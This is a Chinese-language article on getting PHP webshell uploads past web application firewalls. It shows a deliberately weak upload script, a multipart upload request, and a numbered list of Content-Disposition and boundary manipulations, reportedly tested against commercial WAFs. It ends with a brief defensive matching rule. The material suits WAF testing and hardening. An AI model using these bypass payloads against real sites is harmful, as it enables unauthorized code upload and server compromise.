前言
nginx/1.10.3
PHP 5.5.34
文件上传的特征
<?phpif(isset($_POST['submit_x'])){ $upfile = $_FILES['filename']['name']; $tempfile = $_FILES['filename']['tmp_name']; $ext = trim(get_extension($upfile)); // 判断文件后缀是否为数组里的值 if(in_array($ext,array('xxx'))){ die('Warning! File type error..'); } $savefile = 'upload/' . $upfile; if(move_uploaded_file($tempfile, $savefile)){ die('Upload success! FileName: '.$savefile); }else{ die('Upload failed..'); }}// 获取文件后缀名,并转为小写function get_extension($file){ return strtolower(substr($file, strrpos($file, '.')+1));}?><html> <body> <form method="post" action="#" enctype="multipart/form-data"> <input type="file" name="file_x" value=""/> <input type="submit" name="submit_x" value="upload"/> </form> </body></html>
POST /upload.php HTTP/1.1Host: localhostContent-Length: 274Cache-Control: max-age=0Origin: http://localhostUpgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuKS18BporicXJfTxUser-Agent: Mozilla/5.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.8,de;q=0.6,en;q=0.4,fr;q=0.2Connection: close------WebKitFormBoundaryuKS18BporicXJfTxContent-Disposition: form-data; name="file_x"; filename="xx.php"<?php phpinfo(); ?>------WebKitFormBoundaryuKS18BporicXJfTxContent-Disposition: form-data; name="submit_x"upload------WebKitFormBoundaryuKS18BporicXJfTx--
请求Header中Content-Type存在以下特征:
multipart/form-data
(表示该请求是一个文件上传请求)
存在boundary字符串(作用为分隔符,以区分POST数据)
POST的内容存在以下特征:
Content-Disposition
name
filename
POST中的boundary的值就是Content-Type的值在最前面加了两个--
,除了最后标识结束的boundary
最后标识结束的boundary最后默认会多出两个--
(测试时,最后一行的boundary删掉也能成功上传)
WAF如何拦截
文件名
解析文件名,判断是否在黑名单内。
文件内容
解析文件内容,判断是否为webshell。
文件目录权限
该功能需要主机WAF实现,比如我见过的云锁。
获取Request Header里的Content-Type
值中获取boundary值
根据第一步的boundary值,解析POST数据,获取文件名
判断文件名是否在拦截黑名单内
------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="file_x"; filename="xx.php"Content-Type: text/javascript<?php phpinfo(); ?>------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="submit_x"upload------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
read: ["header",["Content-Disposition","form-data; name="file_x"; filename="xx.php"","Content-Disposition: form-data; name="file_x"; filename="xx.php""]]read: ["header",["Content-Type","text/javascript","Content-Type: text/javascript"]]read: ["body","<?php phpinfo(); ?>"]read: ["part_end"]read: ["header",["Content-Disposition","form-data; name="submit_x"","Content-Disposition: form-data; name="submit_x""]]read: ["body","upload"]read: ["part_end"]read: ["eof"]read: ["eof"]
绕过
4.1去掉引号
Content-Disposition: form-data; name=file_x; filename="xx.php"Content-Disposition: form-data; name=file_x; filename=xx.phpContent-Disposition: form-data; name="file_x"; filename=xx.php
4.2 双引号变成单引号
Content-Disposition: form-data; name='file_x'; filename='xx.php'
4.3 大小写
Content-Disposition
name
filename
4.4 空格
4.5 去掉或修改Content-Disposition值
Content-Disposition: name='file_x'; filename='xx.php'
4.6 交换name和filename的顺序
Content-Disposition: form-data; filename="xx.php"; name=file_x
4.7 多个boundary
------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="file_x"; filename="test.txt"Content-Type: text/javascript<?php phpinfo(); ?>------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="file_x"; filename="test.php"Content-Type: text/javascript<?php phpinfo(); ?>------WebKitFormBoundaryj1oRYFW91eaj8Ex2Content-Disposition: form-data; name="submit_x"upload------WebKitFormBoundaryj1oRYFW91eaj8Ex2--
4.8 多个filename
Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php"
4.9 多个分号
Content-Disposition: form-data; name="file_x";;; filename="test.php"
4.10 multipart/form-DATA
Content-Type: multipart/form-DATA
4.11 Header在boundary前添加任意字符
Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2
4.12 filename换行
Content-Disposition: form-data; name="file_x"; filename="test.php"
filename
4.13 name和filename添加任意字符串
Content-Disposition: name="file_x"; bypass waf upload; filename="test.php";
4.14 其他
案例测试
5.1 「某盾」
判断POST数据是否存在Content-Disposition:
字符串
判断filename的文件名是否在黑名单内
Content-Disposition: form-data; name="file_x"; filename="test.php"
5.2 ucloud
Content-Disposition: form-data; name="file_x";filename="xx.php"
Content-Disposition: name="file_x";filename="xx.php"
How to Play
由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。
POST数据去掉所有换行,匹配是否有Content-Disposition:.*filenames*=s*(.*php)
类似的规则。
Reference
WAF攻防研究之四个层次Bypass WAF
【http://weibo.com/ttarticle/p/show?id=2309404007261092631700&infeed=1】
1
END
1